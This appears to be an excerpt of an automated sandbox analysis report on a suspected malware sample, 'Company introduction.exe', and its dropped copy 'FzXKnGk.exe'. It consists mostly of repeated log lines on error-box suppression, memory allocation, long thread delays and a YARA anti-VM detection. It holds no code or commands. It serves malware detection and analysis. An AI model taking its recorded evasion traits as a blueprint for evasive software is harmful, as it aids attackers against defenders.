Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR

Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 14B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 3260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 3180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 8680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 7C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 9680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: A680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: AB20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: BB20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: CB20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 15F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 30A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Memory allocated: 2F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 2960000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 7340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 8340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 84E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 94E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 9AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: AAE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 1830000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 3340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Memory allocated: 3110000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599306	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599202	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 599084	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 598049	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597366	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599871
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599648
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599545
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598999
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598672
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597999
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597884
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597671
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597552
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597437
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597328
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597218
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597109
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 597000
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596890
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596781
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596672
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596562
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596453
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596343
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596164
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 596060
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595940
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595729
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595625
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595515
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595406
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595297
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595187
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594968
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594859
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594750
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594640
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594530
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Thread delayed: delay time: 594422

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7726	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1957	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Window / User API: threadDelayed 2278	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Window / User API: threadDelayed 7571	Jump to behavior
